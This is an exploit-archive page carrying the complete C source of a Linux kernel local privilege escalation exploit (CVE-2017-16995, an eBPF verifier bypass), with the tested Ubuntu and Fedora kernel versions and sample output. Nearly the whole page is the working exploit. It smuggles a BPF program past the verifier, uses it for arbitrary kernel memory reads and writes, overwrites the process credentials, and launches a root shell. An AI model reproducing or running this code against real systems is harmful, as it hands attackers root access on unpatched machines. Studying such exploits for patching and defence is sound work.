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zdtRlarabee1337DAY-ID-30705
HistoryJul 12, 2018 - 12:00 a.m.

Linux Kernel < 4.13.9 (Ubuntu 16.04/Fedora 27) - Local Privilege Escalation Exploit

2018-07-1200:00:00
rlarabee
0day.today
160

0.0005 Low

EPSS

Percentile

18.1%

Exploit for linux platform in category local exploits

/*
  Credit @bleidl, this is a slight modification to his original POC
  https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
   
  For details on how the exploit works, please visit
  https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
    
  Tested on Ubuntu 16.04 with the following Kernels
  4.4.0-31-generic
  4.4.0-62-generic
  4.4.0-81-generic
  4.4.0-116-generic
  4.8.0-58-generic
  4.10.0.42-generic
  4.13.0-21-generic
 
  Tested on Fedora 27
  4.13.9-300
  gcc cve-2017-16995.c -o cve-2017-16995
  [email protected]:~/cve-2017-16995$ ./cve-2017-16995
  [.]
  [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
  [.]
  [.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
  [.]
  [*] creating bpf map
  [*] sneaking evil bpf past the verifier
  [*] creating socketpair()
  [*] attaching bpf backdoor to socket
  [*] skbuff => ffff880038c3f500  
  [*] Leaking sock struct from ffff88003af5e180
  [*] Sock->sk_rcvtimeo at offset 472
  [*] Cred structure at ffff880038704600
  [*] UID from cred structure: 1000, matches the current: 1000
  [*] hammering cred structure at ffff880038704600
  [*] credentials patched, launching shell...
  #id
  uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
   
*/
 
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
 
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
 
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
 
static __u64 ptr_to_u64(void *ptr)
{
    return (__u64) (unsigned long) ptr;
}
 
int bpf_prog_load(enum bpf_prog_type prog_type,
          const struct bpf_insn *insns, int prog_len,
          const char *license, int kern_version)
{
    union bpf_attr attr = {
        .prog_type = prog_type,
        .insns = ptr_to_u64((void *) insns),
        .insn_cnt = prog_len / sizeof(struct bpf_insn),
        .license = ptr_to_u64((void *) license),
        .log_buf = ptr_to_u64(bpf_log_buf),
        .log_size = LOG_BUF_SIZE,
        .log_level = 1,
    };
 
    attr.kern_version = kern_version;
 
    bpf_log_buf[0] = 0;
 
    return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
 
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
           int max_entries, int map_flags)
{
    union bpf_attr attr = {
        .map_type = map_type,
        .key_size = key_size,
        .value_size = value_size,
        .max_entries = max_entries
    };
 
    return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
 
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key = ptr_to_u64(key),
        .value = ptr_to_u64(value),
        .flags = flags,
    };
 
    return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
 
int bpf_lookup_elem(int fd, void *key, void *value)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key = ptr_to_u64(key),
        .value = ptr_to_u64(value),
    };
 
    return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
 
#define BPF_ALU64_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
 
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
 
#define BPF_MOV32_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_X,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
 
#define BPF_MOV64_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
 
#define BPF_MOV32_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,     \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
 
#define BPF_LD_IMM64(DST, IMM)                  \
    BPF_LD_IMM64_RAW(DST, 0, IMM)
 
#define BPF_LD_IMM64_RAW(DST, SRC, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_LD | BPF_DW | BPF_IMM,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = (__u32) (IMM) }),          \
    ((struct bpf_insn) {                    \
        .code  = 0,                     \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = ((__u64) (IMM)) >> 32 })
 
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD  1
#endif
 
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
    BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
 
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
 
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
 
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = OFF,                   \
        .imm   = IMM })
 
#define BPF_JMP_IMM(OP, DST, IMM, OFF)              \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = OFF,                   \
        .imm   = IMM })
 
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)          \
    ((struct bpf_insn) {                    \
        .code  = CODE,                  \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = IMM })
 
#define BPF_EXIT_INSN()                     \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_EXIT,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = 0 })
 
#define BPF_DISABLE_VERIFIER()                                                       \
    BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),             /* r2 = (u32)0xFFFFFFFF   */   \
    BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2),   /* if (r2 == -1) {        */   \
    BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */   \
    BPF_EXIT_INSN()                                   /* }                      */   \
 
#define BPF_MAP_GET(idx, dst)                                                        \
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */   \
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */   \
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */   \
    BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),           /* *(u32 *)(fp - 4) = idx */   \
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),             \
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */   \
    BPF_EXIT_INSN(),                                  /*   exit(0);             */   \
    BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */             
 
static int load_prog() {
    struct bpf_insn prog[] = {
        BPF_DISABLE_VERIFIER(),
 
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16),   /* *(fp - 16) = r1       */
 
        BPF_LD_MAP_FD(BPF_REG_9, mapfd),
 
        BPF_MAP_GET(0, BPF_REG_6),                         /* r6 = op               */
        BPF_MAP_GET(1, BPF_REG_7),                         /* r7 = address          */
        BPF_MAP_GET(2, BPF_REG_8),                         /* r8 = value            */
 
        /* store map slot address in r2 */
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */
        BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */
 
        BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),             /* if (op == 0)          */
        /* get fp */
        BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
        BPF_EXIT_INSN(),
 
        BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),             /* else if (op == 1)     */
        /* get skbuff */
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
        BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
        BPF_EXIT_INSN(),
 
        BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3),             /* else if (op == 2)     */
        /* read */
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
        BPF_EXIT_INSN(),
        /* else                  */
        /* write */
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), 
        BPF_EXIT_INSN(),
 
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
 
void info(const char *fmt, ...) {
    va_list args;
    va_start(args, fmt);
    fprintf(stdout, "[.] ");
    vfprintf(stdout, fmt, args);
    va_end(args);
}
 
void msg(const char *fmt, ...) {
    va_list args;
    va_start(args, fmt);
    fprintf(stdout, "[*] ");
    vfprintf(stdout, fmt, args);
    va_end(args);
}
 
void redact(const char *fmt, ...) {
    va_list args;
    va_start(args, fmt);
    if(doredact) {
        fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
        return;
    }
    fprintf(stdout, "[*] ");
    vfprintf(stdout, fmt, args);
    va_end(args);
}
 
void fail(const char *fmt, ...) {
    va_list args;
    va_start(args, fmt);
    fprintf(stdout, "[!] ");
    vfprintf(stdout, fmt, args);
    va_end(args);
    exit(1);
}
 
void
initialize() {
    info("\n");
    info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
    info("\n");
    info("  ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
    info("\n");
 
    redact("creating bpf map\n");
    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
    if (mapfd < 0) {
        fail("failed to create bpf map: '%s'\n", strerror(errno));
    }
 
    redact("sneaking evil bpf past the verifier\n");
    progfd = load_prog();
    if (progfd < 0) {
        if (errno == EACCES) {
            msg("log:\n%s", bpf_log_buf);
        }
        fail("failed to load prog '%s'\n", strerror(errno));
    }
 
    redact("creating socketpair()\n");
    if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
        fail("failed to create socket pair '%s'\n", strerror(errno));
    }
 
    redact("attaching bpf backdoor to socket\n");
    if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
        fail("setsockopt '%s'\n", strerror(errno));
    }
}
 
static void writemsg() {
    ssize_t n = write(sockets[0], buffer, sizeof(buffer));
    if (n < 0) {
        perror("write");
        return;
    }
    if (n != sizeof(buffer)) {
        fprintf(stderr, "short write: %zd\n", n);
    }
}
 
static void
update_elem(int key, unsigned long value) {
    if (bpf_update_elem(mapfd, &key, &value, 0)) {
        fail("bpf_update_elem failed '%s'\n", strerror(errno));
    }
}
 
static unsigned long
get_value(int key) {
    unsigned long value;
    if (bpf_lookup_elem(mapfd, &key, &value)) {
        fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
    }
    return value;
}
 
static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
    update_elem(0, op);
    update_elem(1, addr);
    update_elem(2, value);
    writemsg();
    return get_value(2);
}
 
unsigned long
get_skbuff() {
    return sendcmd(1, 0, 0);
}
 
unsigned long
get_fp() {
    return sendcmd(0, 0, 0);
}
 
unsigned long
read64(unsigned long addr) {
    return sendcmd(2, addr, 0);
}
 
void
write64(unsigned long addr, unsigned long val) {
    (void)sendcmd(3, addr, val);
}
 
static unsigned long find_cred() {
    uid_t uid = getuid();
    unsigned long skbuff = get_skbuff();
    /*
     * struct sk_buff {
     *     [...24 byte offset...]
     *     struct sock     *sk;
     * };
     *
     */
 
    unsigned long sock_addr = read64(skbuff + 24);
    msg("skbuff => %llx\n", skbuff);
    msg("Leaking sock struct from %llx\n", sock_addr);  
    if(sock_addr < PHYS_OFFSET){
        fail("Failed to find Sock address from sk_buff.\n");
    }   
         
    /*
     * scan forward for expected sk_rcvtimeo value.
     *
     * struct sock {
     *    [...]
     *    const struct cred      *sk_peer_cred; 
     *    long                    sk_rcvtimeo;             
     *  };
     */
    for (int i = 0; i < 100; i++, sock_addr += 8) {
        if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
            unsigned long cred_struct = read64(sock_addr - 8);
            if(cred_struct < PHYS_OFFSET) {
                continue;
            }
             
            unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
             
            if(test_uid != uid) {
                continue;
            }
                        msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
                        msg("Cred structure at %llx\n", cred_struct);
            msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
             
            return cred_struct;
        }
    }
    fail("failed to find sk_rcvtimeo.\n");
}
 
static void
hammer_cred(unsigned long addr) {
    msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
    unsigned long val = read64(addr) & 0xFFFFFFFFUL;
    w64(val); 
    w64(0); w64(0); w64(0); w64(0);
    w64(0xFFFFFFFFFFFFFFFF); 
    w64(0xFFFFFFFFFFFFFFFF); 
    w64(0xFFFFFFFFFFFFFFFF); 
#undef w64
}
 
int
main(int argc, char **argv) {
    initialize();
    hammer_cred(find_cred());
    msg("credentials patched, launching shell...\n");
    if(execl("/bin/sh", "/bin/sh", NULL)) {
        fail("exec %s\n", strerror(errno));
    }
}

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